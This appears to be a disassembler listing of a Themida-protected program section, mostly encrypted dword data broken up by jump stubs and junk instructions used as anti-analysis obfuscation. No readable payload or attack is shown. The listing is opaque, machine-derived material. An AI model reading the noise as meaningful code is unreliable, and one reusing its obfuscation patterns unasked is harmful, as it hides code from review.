		dd 0B49D3D3h, 0E8850FC9h, 8BFFFFFFh, 5B595EC3h,	0A1BB60C3h
		dd 0B0763AB7h, 11E901h,	32AC0000h, 0D1C32AC3h, 0D20BAACBh
		dd 1840Fh, 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h
		dd 61FFFFFFh, 0D88C66C3h, 840F04A8h, 29h, 0D20985C7h, 107FDh
		dd 0F500000h, 0FE244C01h, 0D20D858Fh, 858D07FDh, 7FDD205h
		dd 0D20DBD8Dh, 388907FDh, 23E9h, 29858D00h, 8B07FA0Bh
		dd 17053840h, 899B46F3h, 0FDD20585h, 29858D07h,	8B07FA0Bh
		dd 85893C40h, 7FDD209h,	0D222858Dh, 858907FDh, 7FA1C29h
		dd 87E9h, 0D48B5200h, 8728B60h,	0B80C7A8Bh, 0A945CAB2h
		dd 7E9h, 30060000h, 46C8D106h, 820FF73Bh, 0FFFFFFF1h, 8C25A61h
		dd 0D48B5200h, 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h
		dd 28063000h, 46C8D106h, 820FF73Bh, 0FFFFFFF1h,	8C25A61h
		dd 0D48B5200h, 33535156h, 8728BDBh, 0E90C4A8Bh,	13h, 0F2D3CACh
		dd 0A84h, 34980400h, 0C1D83213h, 0B4908C3h, 0E5850FC9h
		dd 8BFFFFFFh, 5E595BC3h, 8C25Ah, 0D495858Dh, 858907FDh
		dd 7FA1B95h, 0D4BD858Dh, 858907FDh, 7FA09FDh, 0D4E5858Dh
		dd 858907FDh, 7FA0CEDh,	8EBh, 0
		dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
		dd 7FA27ADh, 54FE858Dh,	88B07FEh, 1000888Bh, 0A8B0000h
		dd 0FC4A8B66h, 0D5468D89h, 0BD8307FDh, 7FA3569h, 0F840F00h
		dd 60000000h, 95FF006Ah, 7FA012Dh, 0FFC4E961h, 8966FFFFh
		dd 0CEC1FC72h, 72896610h, 4CD5202h, 4285895Ah, 8B07FDD5h
		dd 0FDD546B5h, 10CEC107h, 2728966h, 0D546B58Bh,	896607FDh
		dd 8B61FC72h, 0FDD54285h, 958DC307h, 7FA293Dh, 34359589h
		dd 958907FAh, 7FA1419h,	141985FFh, 85C607FAh, 7FA1571h
		dd 48D86853h, 0B5FFFCB1h, 7FA1229h, 3B93858Dh, 0D0FF07FAh
		dd 12D8589h, 858D07FAh,	7FDD23Ch, 6658589h, 20EB07FAh
		dd 8 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5DFB74
; ---------------------------------------------------------------------------
		jmp	loc_5DFB6D
; ---------------------------------------------------------------------------
		push	7FDD955h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FDDAADh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FDDE73h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FDDF4Ch
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		dw 6070h
		dd 8C462AD8h, 57668A78h, 884925DDh, 7660A072h, 709244CEh
		dd 0A85AEAE4h, 1EF40CC8h, 0C34FF5E2h, 24EE10BBh, 445B8735h
		dd 9DC2604Eh, 6E12B3C7h, 861FE55Fh, 2FE8FF01h, 0C3C3B5AEh
		dd 0AC14BF62h, 0EBBDE410h, 8D16CA5Dh, 95FF9037h, 0A2F5A795h
		dd 8B223EDAh, 9371933Eh, 0FA7E09BAh, 4A5DE2E7h,	39D0AC8Ch
		dd 5B2C05FFh, 73D76782h, 0C65FA55Fh, 0C99DCCC1h, 8BEF8595h
		dd 6D46BE40h, 525D1Ah, 0DFBB0000h, 48B0527Bh, 4A5DD619h
		dd 66366172h, 0EF00C212h, 2D1FA1FBh, 1D8C965Ah,	85E9CA5Eh
		dd 0BBCFB84Ah, 0F60CC91Dh, 0A3C7E3CDh, 0EE82152Fh, 0D25BF31Fh
		dd 758F4A26h, 0F1D1B68Fh, 1C26B1CDh, 6046D5CCh,	2EA52EC2h
		dd 759BE4h, 61FD0000h, 0DABACD77h, 0E1636E12h, 639D3723h
		dd 4E512770h, 0ADCA5E24h, 0E4CCA325h, 0DDAA5DECh, 1EB313A5h
		dd 14FE25D1h, 4A57CA5Eh, 21B27B79h, 339FFB9Fh, 0CA5E152Ch
		dd 0A54B3C85h, 0D25BEBA6h, 0E906D1ADh, 603EE6FDh, 61723FC2h
		dd 0BD7D0AA3h, 3EEEF5E1h, 7B47C260h, 7377E6EAh,	0F7CCF72Bh
		dd 0FF9BE9B9h, 72387444h, 0A5C96525h, 54DD172Dh, 64A0A02Ch
		dd 12D8BCCBh, 0A2E5606Eh, 193D6397h, 0BBBDCAF9h, 0ECF3DF2Ch
		dd 43CA5D66h, 5D67809Fh, 0EAC8D9CAh, 0AAC6EAD9h, 156F182Ch
		dd 248D4529h, 5C2B98A8h, 5D678894h, 512A94Ah, 5D66C2E1h
		dd 3D861B4Ah, 10329BB7h, 0FAF170F4h, 0E2F9705Dh, 2C2C5262h
		dd 407CDC07h, 45922957h, 634D768Ch, 6433CD07h, 0EC04D4A6h
		dd 39BF7990h, 4A5DFE2Ah, 486A9041h, 5868487Bh, 44315D6Ah
		dd 8D2B5CB4h, 0DCEBA131h, 0CAB49F24h, 5DCD071Eh, 8053604Ah
		dd 0DD3E6117h, 0BF9F4A5Dh, 53F9916h, 0DFBB05CEh, 5DBCECF3h
		dd 0AF29454Ah, 0AB593E95h, 0FBE704CFh, 4A5DBCE4h, 0B35F743Dh
		dd 29A303D5h, 0BCC1E004h, 891A4A5Dh, 8FF1BA3Ah,	0A60AB943h
		dd 37A20FCAh, 755EE70Dh, 0EFD1B68Fh, 0DC03EFCBh, 0F34A5DBCh
		dd 3B882AE4h, 0E526A44Ch, 4F2B5257h, 5B777D87h,	9601D24Ch
		dd 0C1E004ACh, 1A426395h, 0DEBA3A89h, 0E37500D6h, 8611CA55h
		dd 639AEFF2h, 12C99442h, 6F086EFFh, 425E4282h, 63A38F96h
		dd 0DDBE842h, 4263A316h, 0C235626Fh, 0D2h, 0B84C8AE6h
		dd 6E12CDCFh, 0D4B6E163h, 81BF0606h, 49034F42h,	0B91A367Ah
		dd 579DA730h, 26FF05CEh, 733B5F61h, 0B54596A8h,	0EE2B5F9h
		dd 0D25B2162h, 0E92C9B23h, 5BEF2679h, 9304CF71h, 3FA307A7h
		dd 0C25F2920h, 0A1C02879h, 0B8C25F29h, 440DE721h, 229E357Eh
		dd 9074903Eh, 65AD5EB8h, 0D201FB41h, 0F397F3C5h, 5F88D0CFh
		dd 0EF9829C2h, 0C63CC611h, 0B74D86EAh, 0C825B0D0h, 35FEF60Eh
		dd 350D139Eh, 68C8C6AFh, 6748Bh, 0AD577D00h, 83B91955h
		dd 0DE586F8Fh, 7D874C34h, 0D76D6985h, 0DB79992Bh, 0BDC151F3h
		dd 0DD21F113h, 0C0C052F0h, 3017EB15h, 4B39688Ch, 0F492C260h
		dd 636E1220h, 0FD8A23E1h, 638FAh, 90421E00h, 0C1BF886Ch
		dd 3B14F02Ah, 0AE12484Ch, 5E241B4Ah, 385F74CAh,	5C78B148h
		dd 6285E301h, 35A73A42h, 0A52E1E0Eh, 0C042922Eh, 0D46E679Bh
		dd 392D9730h, 661E6919h, 0EBAD6BAh, 0CA5DEA17h,	8E956370h
		dd 0E7CA5DEAh, 0D0796DAh, 0BF395EE7h, 0CA5DEA9Ch, 0B8755FFBh
		dd 5DEA150Ch, 6E656ECAh, 907BD96h, 1D326EFBh, 0A23DB3E4h
		dd 1CA5D49h, 8C10C7B1h,	4D07BD47h, 12E6B1CAh, 0CA5D9B12h
		dd 0EBF80F6Bh, 22755EE0h, 5D9B534Eh, 4CEB2CAh, 0BEE19700h
		dd 1DCA5D9Ah, 3AB0D995h, 0CABD8CB3h, 5DE6FB26h,	8296248Ah
		dd 5DE74F56h, 0DC08A80Ah, 0A5DE6C5h, 953E951Eh,	79834F2Bh
		dd 0D3E5B27Bh, 5B7039EFh, 7062FE12h, 0E100E4CCh, 3A02605Ch
		dd 7C241E69h, 605D4958h, 0C211A202h, 163A5642h,	0E46D87BDh
		dd 605D0D14h, 2A5D6602h, 0A8268258h, 0E589279Ch, 8D2B5CD6h
		dd 5A61E769h, 1CC8E40Ah, 0FA665805h, 7842555Eh,	58B5AC18h
		dd 0C50EFA66h, 6593A30Eh, 0E2428EA8h, 51CF5h, 95AF2500h
		dd 0AB51817Dh, 86801757h, 0A55F747Ch, 0BF45916Dh, 0F3618153h
		dd 95D929DBh, 0F5F9093Bh, 98D82AD8h, 480F033Dh,	4A515074h
		dd 0CCAAC260h, 6DC212C8h, 5C98686Fh, 0AC27593Eh, 8B69933Fh
		dd 0BAF11C2h, 5D5AB8E7h, 0FC06CFCAh, 3E932FF8h,	0AB0FAB59h
		dd 5D5A1847h, 376071CAh, 85718553h, 0CA5D5A5Eh,	43E97B7h
		dd 0E0BC04CFh, 0DAAD577Ch, 5B301B16h, 0DAF65AD2h, 555D5D2Ah
		dd 98543973h, 634D7693h, 69B09C5Bh, 0FB8C1DE4h,	0E70BAF8Fh
		dd 0C25F9BB8h, 0A9D7C011h, 0F70DC512h, 2EA55F79h, 9BCA2E92h
		dd 0F4C25F9Bh, 0EEF5E1DFh, 47C25F9Ah, 0C17D0D7Ah, 890E349Dh
		dd 7E536077h, 0A9F2A8C5h, 0B51EB1F6h, 634D764Fh, 6235CF07h
		dd 0EAF2C89Ah, 3B7CE0D1h, 0AD67762Dh, 7E557E47h, 6B7A5E42h
		dd 0C4C25FC9h, 0F498A8EFh, 0C9352C98h, 458EC25Fh, 9F9B9E52h
		dd 0FACACA5Dh, 506565DAh, 0F012BDBCh, 0E8883B14h, 16AF55EFh
		dd 91EDD171h, 6D46BE44h, 61E2647Bh, 0DFF4BDBAh,	2A0ED1E1h
		dd 272283E7h, 1B46B260h, 7ABA618Eh, 0E845BD2Ah,	0DCEBB998h
		dd 0E4267162h, 8F964256h, 0A6BA620Bh, 50D91B29h, 4E726172h
		dd 0F7A0A432h, 0CD096549h, 89A85037h, 0C2C25FE1h, 0F113319Eh
		dd 69456B58h, 0E5291C59h, 62356B75h, 2789BB16h,	22758F43h
		dd 2BA4C868h, 47926E19h, 966A83BEh, 883B3BD9h, 0F500D06Ch
		dd 56EF6C11h, 9074884Ah, 0F57B0CB7h, 0B26478FAh, 72715539h
		dd 0CBB26479h, 0DF7991F6h, 23B04A87h, 0CED5019Dh, 27B26478h
		dd 6F4BED9Ah, 544E9F5Fh, 0FA8DDDAFh, 62C29376h,	0DAFEA2BAh
		dd 0AA6715CBh, 0C2458F24h, 18ABC3E5h, 7EE2E0A7h, 7952B252h
		dd 7A4A664Ah, 0FC1E9C93h, 37494ED3h, 25E629Ch, 0AB6730D4h
		dd 5CCEBB03h, 34A267DBh, 2C98777Ah, 0FB8C3B5Eh,	0F3DDD2FDh
		dd 223E8251h, 0DE678DB7h, 890E36A2h, 963B1FFBh,	0D8BF886Ch
		dd 66780D20h, 0E44416AAh, 446C57E9h, 37C90468h,	0DD04F4BDh
		dd 36AA6677h, 821E1A6Dh, 0B450F4DEh, 0F1046C1Bh, 20B2644Dh
		dd 0A249587Ch, 4960A268h, 169C35CFh, 7440FA8Dh,	56861DE7h
		dd 0C5EBD8C8h, 71162CA9h, 478FEBCFh, 23AECABDh,	0CE053FCEh
		dd 0D12EE2F2h, 8805E0E9h, 97A5BC28h, 0B5FEA268h, 0E48828E2h
		dd 522E59EBh, 97AD2A87h, 0AD57815Dh, 0BB03AD16h, 0E3C538B8h
		dd 48B4E3AAh, 7DA4506Ch, 0D6A26908h, 8170EBAh, 6370A269h
		dd 55E32770h, 44116355h, 378C278Eh, 9D391579h, 0D3C48D67h
		dd 66CE2E1Dh, 6B5737AAh, 9A6B2274h, 0F1CF04CDh,	41C3418Dh
		dd 32CA0868h, 9FFB9765h, 6B222C33h, 883C859Ah, 5F43E2DCh
		dd 0C42C5BE1h, 9A6ABC99h, 1FE51FB8h, 0A0649E33h, 0B444A71Eh
		dd 1BDBE818h, 48F2DF7Bh, 0E97423ACh, 0A02E52F2h, 497A8051h
		dd 0ED1E4F3Eh, 4E722A66h, 6AC07BAAh, 0D5FFD49Ah, 0EA7AFC6h
		dd 926532E2h, 28h, 41174AD2h, 2E76CA5Eh, 7EFF87CCh, 0C369F6Eh
		dd 23745FE8h, 1DD4h, 276C3400h,	0D37DD6C5h, 8FB5215Fh
		dd 0E9ABDC75h, 0DF656E12h, 7D0A30A1h, 5E3DE8F3h, 0FEDC23CAh
		dd 0BF1428AAh, 0D44E5D01h, 7A8A4430h, 7522B17Ah, 16D7E7C3h
		dd 9AFBDB96h, 3538C0C7h, 76D25BBCh, 2078412Eh, 0E16A8AB2h
		dd 5440B8F3h, 0B31D417Fh, 6172923Eh, 1EBCCE36h,	930B931Dh
		dd 4CC80042h, 4F56823Eh, 0A8C25F60h, 0F0CC6C1Bh, 0D8BF418Ch
		dd 59659E20h, 0ABF3BBCAh, 271948C8h, 0C6AA98FFh, 0DB9F70Dh
		dd 0BA65AF16h
		dd 4071626Fh, 0CEA90EEAh, 566C89EBh, 5F000001h,	333BC771h
		dd 0D1AD659Fh, 0EE12003Ah, 0CBB35FE5h, 43110103h, 9FA53123h
		dd 0BF418B73h, 0A0A22B53h, 0C1438E72h, 8E3A8651h, 0C2604697h
		dd 128696F0h, 4590616Eh, 637039BBh, 8B7F08A1h, 362D99ADh
		dd 8FCA5E24h, 4B2F9142h, 29178082h, 0A54F3D85h,	838ACD60h
		dd 0C9515C14h, 0EC90D25Bh, 0CA55FE1h, 0F3DFBF7Bh, 0C2601CECh
		dd 2C487C45h, 875132Ch,	0A2BE02D1h, 0EF15BE0Bh,	298720E4h
		dd 5F61A6BDh, 0E5B2FFC2h, 0F3DF7B17h, 6E4C3E49h, 1D1FBE6Eh
		dd 0DC758FB5h, 0CBC925E8h, 0F0D4B8F8h, 0C26019F1h, 21587A4Ah
		dd 5B0A9FE3h, 7D211F68h, 42AEB521h, 0BA07C25Fh,	60A923CDh
		dd 1EA6CA59h, 46D8D885h, 0BF7B0CAFh, 0F2EE55F3h, 3A8967EFh
		dd 0AA031367h, 7562C2CEh, 7Dh, 4CB64E86h, 6C96AE24h, 47BB7584h
		dd 8290AA27h, 5EB4507Eh, 0C8064E78h, 2EAAC63Ch,	0CB04EC16h
		dd 2AA5C939h, 615FEA18h, 60456E75h, 0EDADC7C2h,	1B4AAE12h
		dd 74CA5E24h, 3E47385Fh, 69000000h, 0C125CA05h,	0CA5E24A2h
		dd 0D71DA6FBh, 1253494Eh, 241B4AAEh, 5F74CA5Eh,	246E7561h
		dd 0FAC7CA5Eh, 0A030CC8Dh, 0C61680DFh, 0F839293Ch, 8C277361h
		dd 0F5DE6670h, 7DF1C8DFh, 0E9AE8F1Eh, 0FA02D2B3h, 51F3DEFAh
		dd 0F40EC7B3h, 58E8E410h, 0EE16C09Ch, 58ECEA16h, 0E913C09Ch
		dd 5ED8EF0Bh, 0E418BAA6h, 0CD687220h, 8900002Fh, 0F8682414h
		dd 8900002Fh, 89522414h, 4C281E2h, 81000000h, 4EAh, 24148700h
		dd 240C895Ch, 47D568h, 242C8900h, 92068068h, 0F5815D65h
		dd 3B851079h, 0BF69C581h, 0EA89A9E6h, 0C8B545Dh, 4C48124h
		dd 52000000h, 24EBB53h,	5C312F55h, 8F5B0424h, 71810841h
		dd 55024E08h, 2434FF2Fh, 4C48159h, 0FF000000h, 835A2434h
		dd 75E904C4h, 0E4FFFC9Eh
		db 68h
; ---------------------------------------------------------------------------


loc_5DFB6D:				; CODE XREF: Themida_:005DF139j
		mov	eax, 7FDDFEEh
		add	eax, ebp


loc_5DFB74:				; CODE XREF: Themida_:005DF134j
		mov	ecx, eax
		jmp	short $+2
		jmp	loc_5E077B
; ---------------------------------------------------------------------------
		jmp	loc_5E0774
; ---------------------------------------------------------------------------
		push	7FDE1F3h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FDE492h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FDE5C8h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FDE783h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FDEA2Fh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		and	dh, [edx+5A78788Ah]
		mov	ds:0BF799070h, al
		push	ebx
		sub	esp, [esi+4C8A669Ch]
		mov	eax, 0FA5A7C4Ah
		fsubr	qword ptr [eax]
		ficom	dword ptr [esi-707F5C6h]
		fbld	tbyte ptr ds:3CC611EDh
		mov	byte ptr [ebx],	0BDh
		sbb	[edx], ecx
		inc	esp
		pusha
		retn	163h
; ---------------------------------------------------------------------------
		db 0F1h
		dd 5D2AE12h, 23EAF9FFh,	9541CA5Eh, 0CA5E248Eh, 0CBD8DAE7h
		dd 242934BCh, 0A1C0CA5Eh, 30CA5E24h, 0CA5E2430h, 0A2C12589h
		dd 0FBCA5E24h, 417E1A6h, 63CA5E24h, 0BE36F007h,	0D4CEA2F5h
		dd 31CA5E23h, 857F854Dh, 0A15DBACh, 694A5E24h, 0FFE03659h
		dd 5C2B94B7h, 9A349426h, 12C18A6Ah, 13BD2AEh, 5B5D2A03h
		dd 68775B3Fh, 0C14A5D72h, 0F113319Dh, 541C6B58h, 52579E5Eh
		dd 0E21CB793h, 44FE8922h, 0F9AD6270h, 7FE12058h, 644C3881h
		dd 6E528152h, 0C53FC512h, 19D9BECh, 0E00DC7B1h,	0E3B44CFEh
		dd 20B73895h, 43E93h, 0CF589C27h, 34A0BC04h, 385FE80Ch
		dd 5F7AD6DAh, 16EED3A6h, 93409BDEh, 0D1AFD871h,	9EC2FE04h
		dd 57F01430h, 0DB15C6Dh, 1681C311h, 2402D26Eh, 18899F6Dh
		dd 22B8CABDh, 0C6FD37C6h, 0B84C86EAh, 2161733Ch, 0BCA8DA1Fh
		dd 77132572h, 3E49FBD3h, 5DED58BAh, 0E2F9554Ah,	0FB635F28h
		dd 0EA330D2h, 4EA4D3C4h, 0BFC2AF11h, 0DF000009h, 0B3BB47F1h
		dd 512DE51Fh, 6E9280BAh, 4B33DF65h, 0C3918183h,	1F25B1A3h
		dd 3FC10BF3h, 2022ABD3h, 41C30EF2h, 0EBA06D1h, 0C2604317h
		dd 12061670h, 0B7E0646Eh, 30A10EC9h, 0F0E31DB7h, 197521E3h
		dd 5E24B6ADh, 0D5C20FCAh, 5E24011Bh, 94B01ECAh,	0B94B8470h
		dd 0E6057C3Bh, 24737256h, 0F7CCCA5Eh, 80DC98CCh, 8049AB55h
		dd 6B8B4E17h, 0F233DF60h, 0F8DB52E8h, 30A35D78h, 6D6DEE2h
		dd 0CDA7E96Fh, 9D38484Fh, 0B37DA450h, 3B94CA5Dh, 0AC5A909h
		dd 0FCF8CBF8h, 71933C20h, 0F2FFDA26h, 0B7A361DBh, 8B24E01Ah
		dd 554C7838h, 0AECA5DB3h, 2A56AE25h, 0C25E96AEh, 5DB30F16h
		dd 155B68CAh, 0EA698BB9h, 0C0DB7873h, 0ED17BCA0h, 8C593E07h
		dd 4791ED4Dh, 23AECABDh, 0D4FF05CEh, 70AFE4ECh,	5936A76Eh
		dd 0B8A9E42Eh, 0C059534h, 9A009BC4h, 0E3F0F9F9h, 0C1129B59h
		dd 0CCD86F13h, 29550A7h, 85975h, 0CBF79300h, 0CA5D27D4h
		dd 7C86512Dh, 0D25C4047h, 97B3FD07h, 1D27AF3Ch,	0AF23E1A6h
		dd 0CA5E24ADh, 10F408CAh, 9B59EBE4h, 0BAE55D13h, 8E39462Fh
		dd 0BBB79457h, 0A25C77D3h, 0D17168F5h, 2FDA09EDh, 9E33CA5Dh
		dd 32CC07F9h, 9FC6328Eh, 0F8CA5D30h, 0AB2EDCABh, 0B8468D15h
		dd 0E3BBDFB7h, 0C4A804B4h, 31FAFA0Ah, 787C864Fh, 1110E8AFh
		dd 68CA5D79h, 97912844h, 5D795251h, 7116ABCAh, 2321ADD1h
		dd 0D0AC10B0h, 2EF7FD07h, 5D799BCAh, 0B8DFF4CAh, 0FC60704Ch
		dd 0D065B3A7h, 30A3A12Eh, 87BC1967h, 9FD6F371h,	0A2A22E7Ah
		dd 0C9FAC962h, 559A3539h, 5D367271h, 7AF6CBCAh,	834CA85Ch
		dd 0A408B450h, 5D362140h, 9B297ACAh, 6E754E28h,	81890E44h
		dd 20139BB3h, 69D77D70h, 0E8628167h, 0E6BBCA5Dh, 0BB7D3DDh
		dd 0CA5DE814h, 0E858876Bh, 20B1CA5Dh, 0C8611A2h, 768E4824h
		dd 7E4EF11h, 238D36F0h,	99B0A09Bh, 0CFBC0802h, 52AADD89h
		dd 36CE0A66h, 56A2F5BEh, 9C60CB7Ah, 0B222D8F9h,	4CF20B5h
		dd 93A9F4BCh, 0B271CC48h, 258925E5h, 5D40A2C1h,	0E1A6FBCAh
		dd 5D400417h, 525B63CAh, 0B0171F8Ah, 903C3C4Bh,	516A795Dh
		dd 0EEC3CA5Dh, 266863E6h, 7261B91Fh, 9DA7324Eh,	3BC9CE57h
		dd 30D1FB5Fh, 4598C581h, 0BC388BB7h, 0DC5EA4F3h, 53B1537Ch
		dd 367497Ah, 0F6CF35CFh, 6F0BAF91h, 3FB9DE58h, 0D2574649h
		dd 0A19B324Eh, 0FDBDCA63h, 29CB7161h, 0EA7E33A0h, 0EBC6AB7Fh
		dd 7206C89h, 90400000h,	7C569A68h, 0A7363AC8h, 7859956Dh
		dd 0A63050C2h, 0C0E2749Eh, 0F80A3A94h, 0EE24DCF8h, 0D33FC512h
		dd 0F41E20ABh, 746B5765h, 0CDC26040h, 7D2E3B7h,	0C7EBB3FDh
		dd 168974D6h, 0F8A46027h, 0EAC67E54h, 5DE2E7FEh, 247340CAh
		dd 0D8F4F9D4h, 0D003CC28h, 0E9E48834h, 83149D57h, 35AA5B75h
		dd 0A9E60B0h, 71417F54h, 28E62C4Dh, 0ED9DEAABh,	0A5516D51h
		dd 0CA5DAC7Eh, 71ECAD7h, 72CA5DACh, 95E04845h, 5A674B0Fh
		dd 0DDD8C32Dh, 0E7B7CA5Dh, 31953B04h, 0CA5D7A32h, 0EB8E368Bh
		dd 0BE135DD7h, 0E0A78084h, 5D600518h, 0CD0864CAh, 0B8146433h
		dd 787D0F89h, 9F3484AEh, 493A9121h, 8C68923Fh, 0C9DC11C3h
		dd 7E864C34h, 22DAAD86h, 0B7AE1A76h, 10CA5E15h,	11CD4C3h
		dd 60CA5E15h, 26474F50h, 0CE0397C0h, 20BB4B77h,	976B1CA7h
		dd 0DA6865C1h, 14A3C7E9h, 3332961Ah, 8CCA5DB7h,	4C705037h
		dd 0B75D8470h, 0EEB6CA5Dh, 10E7CF34h, 781FB45Bh, 578A1200h
		dd 6F6307D2h, 479564D6h, 0D201841Dh, 54EE9932h,	617CEA80h
		dd 0B90A7A52h, 0AAEF5EE8h, 401D77C6h, 5EAh, 0E032CA0Ah
		dd 0F80A32A0h, 0DB27E1F8h, 0E043E93h, 0B260E4F2h, 84520224h
		dd 626E9280h, 875030E2h, 6E69857Dh, 259B3ED4h, 603FA2C1h
		dd 9959FBC2h, 1B4AAE12h, 74CA5E24h, 8D48385Fh, 246D7460h
		dd 0FDC6CA5Eh, 4C86EAC6h, 4935CFB8h, 6E75618Eh,	0C7CA5E24h
		dd 83E7C9FAh, 34D0B749h, 7D77B148h, 27CD7761h, 2C7F814Bh
		dd 96154299h, 322C6EAh,	5CCA5E24h, 46A54047h, 0C67E5AF6h
		dd 0D714BFC1h, 5E23F4EBh, 4F844DCAh, 67BE6171h,	2D1BA977h
		dd 8CDDB05Ah, 0E0059599h, 53B1537Ch, 14647B67h,	0F4BDCA5Eh
		dd 0DB47B8DFh, 69000004h, 4E39CB05h, 4AAE124Eh,	0CA5E241Bh
		dd 7695F386h, 9919A177h, 0E7F97F08h, 4CA5DE8h, 0A3C226CBh
		dd 0FCCA5DE9h, 4AE61CA7h, 0E9638266h, 0E7BCCA5Dh, 7A7760A0h
		dd 3231955Ch, 8BCA5DE9h, 0BE368D36h, 0B1547EE2h, 231F2A06h
		dd 1B6C579Eh, 0D3FFF0DDh, 0D102CB29h, 3F04DFEFh, 0A5F69CB9h
		dd 0BC4B5C0Ah, 6C1BA8B5h, 59EBE410h, 0EB15BF9Bh, 3DB74D85h
		dd 14E4077Eh, 5D4E85BFh, 21B19148h, 722A24F1h, 0DEB9CB4h
		dd 5FD8EFC0h, 0AB22746Dh, 16EEE59Ch, 504F733Dh,	0A9CA5DE5h
		dd 5757AB18h, 0E5908F33h, 0D8E9CA5Dh, 0BA8FDEAFh, 7DE10595h
		dd 12E5B250h, 8Bh, 1A042E76h, 66046237h, 0AE12FB21h, 5E241B4Ah
		dd 385F74CAh, 84708852h, 0CA5E245Dh, 0DAD6EDB6h, 31955C76h
		dd 0CA5E2432h, 678D368Bh, 45BF418Bh, 9030576Ch,	7E86502Ch
		dd 16DAAD86h, 0D2583760h, 649E3915h, 0BB278733h, 0C26411A4h
		dd 921FB4FDh, 0C6AAA62Ah, 2F2C49ABh, 4F000004h,	638B7781h
		dd 413DD56Fh, 5EA270AAh, 3B43CF75h, 0B3A17193h,	0EF15C193h
		dd 4FF1DB23h, 0F012BBC3h, 51F3DE22h, 3EAA16C1h,	0C2603D27h
		dd 0D216E680h, 112BA801h, 606942C2h, 0B3A545Ch,	76C42E19h
		dd 438B2F11h, 940A160Dh, 16C2FEA1h, 0CA5D360Fh,	0C42C5B68h
		dd 0CA5D36A5h, 0BB4290ECh, 2A3B772Eh, 0FA8D36A0h, 6D746040h
		dd 0C6CA5DF7h, 86EAC6FDh, 0D66E6849h, 593E951Eh, 606B0FABh
		dd 9C3A26DEh, 4C2C5B68h, 0A2A22E83h, 0D5DDE131h, 81CC89EBh
		dd 7DA270E6h, 19821139h, 309BDDAAh, 0CDBD780Fh,	9B47C16Ah
		dd 0CA5D5384h, 0D4FFD4DDh, 0EDE88430h, 783E4453h, 64854D73h
		dd 3476E53Bh, 0FDC15136h, 0C9CE7461h, 25D11EB7h, 0CA5D83FEh
		dd 37794A57h, 84706F53h, 0F8C9CA5Dh, 0D0FB038Fh, 8E3AF7DBh
		dd 0CA5D8497h, 14F0E3F0h, 906C883Bh, 0D3696944h, 0D72B9831h
		dd 22AE3B97h, 7A53B122h, 0A94D714Fh, 0CA5D847Ah, 0D807EBD3h
		dd 31CA5D83h, 38A133A0h, 212571C6h, 0D2EECABDh,	0E02420AEh
		dd 0CD27D9F4h, 30C8CF04h, 0CA5D4931h, 0A1C02488h, 0FACA5D49h
		dd 32FC07AAh, 13C0ADA6h, 0EEDAB684h, 0CA5D59F7h, 70508350h
		dd 0C143FD0Ch, 0F9E59FE8h, 4AF8D5E2h, 6F533779h, 0CA5D5A70h
		dd 5E78F8C9h
		dd 12854EA6h, 3894B878h, 0DAE91BB5h, 4B5A7E1Ah,	0A4CA5D5Ah
		dd 0AFD3C40Fh, 0BCE30F27h, 15CA5D59h, 1579378Ch, 5D5AB2B1h
		dd 0F60CC9CAh, 448D35FEh, 0C50DA953h, 0D943E142h, 0B6C2D5D2h
		dd 0F7EEDA27h, 50CA5D8Ch, 4C705083h, 5D8D79A8h,	556AE4CAh
		dd 5CC93429h, 0D03A4D56h, 44CE0F0h, 0C2964603h,	0D001BD5h
		dd 0FB5FCA5Eh, 0FDD62ED0h, 86E2788Ah, 0ADB3BB4Ah, 0F343FDC0h
		dd 0B1CDF3E0h, 0C7791E24h, 28A3C7E3h, 0A355DE16h, 0CA5D637Ch
		dd 35BBCCD5h, 0D257659Bh, 0FE528818h, 19DB6965h, 0DC094490h
		dd 9EC28007h, 5AF31133h, 5B634769h, 6B245B57h, 203FA95Ah
		dd 79C2633Dh, 3D615F28h, 0FC8BB121h, 0F3DBD6FCh, 223E8251h
		dd 8B0790B4h, 56826F63h, 0F3DF25AEh, 0E48828DAh, 0D33156EEh
		dd 14C02DA7h, 0ED073D99h, 5C646F64h, 0AB4BE054h, 634A1847h
		dd 746071C2h, 9601F563h, 8A6E52EEh, 0C2640D5Bh,	35A11FB4h
		dd 0C2640D2Eh, 2B4D3A87h, 421EA29Ch, 0CF036D97h, 91F6CF35h
		dd 7F6347F3h, 0C2640D60h, 6B9FE8B9h, 0A86279CDh, 19B9951Bh
		dd 0FF8821E3h, 0D6015D41h, 87955B2Ch, 0EECA5E15h, 51684192h
		dd 0CAD7ECD7h, 0CEA4B368h, 83E6136Dh, 0A3000001h, 0FFFF132Dh
		dd 95D929D3h, 0FAF60C06h, 0FEF23D9h, 0FFC53DC7h, 0B3517DD7h
		dd 8BB51F5Fh, 0A45E7777h, 0BD47926Eh, 9A3E8245h, 0C2603A8Bh
		dd 127282E4h, 0D47FD9C2h, 31560A78h, 367A844Fh,	0B6C4036Eh
		dd 29A559D6h, 0FC8A81Bh, 51360FF5h, 546307B3h, 6911ADAh
		dd 7D2DFFAh, 0A52EF7FDh, 15DC931Bh, 0FACFF239h,	0C903EF8Dh
		dd 0A2F5BD37h, 0BC3943FFh, 7C864B35h, 0DBFE8778h, 31A83D6Eh
		dd 0E511AD11h, 0CA5DDABEh, 475E8A17h, 0A0CA5DDBh, 0E3616D13h
		dd 0A409C4B4h, 0F80AC32Eh, 64A033FCh, 1DA65E78h, 0AA60AA6h
		dd 5DDAC7DEh, 659320CAh, 0CA5DDB3Eh, 0D7D0A97h,	7E844D31h
		dd 0C87C5A86h, 0E8798CFBh, 0BC0595CCh, 21B835A0h, 8F440DE7h
		dd 61DC975h, 5FCA5DDFh,	69168152h, 42h,	636E12A3h, 0FD8A23E1h
		dd 5E246973h, 0A64B86CAh, 5E242342h, 0B0147CCAh, 0CA5E24B1h
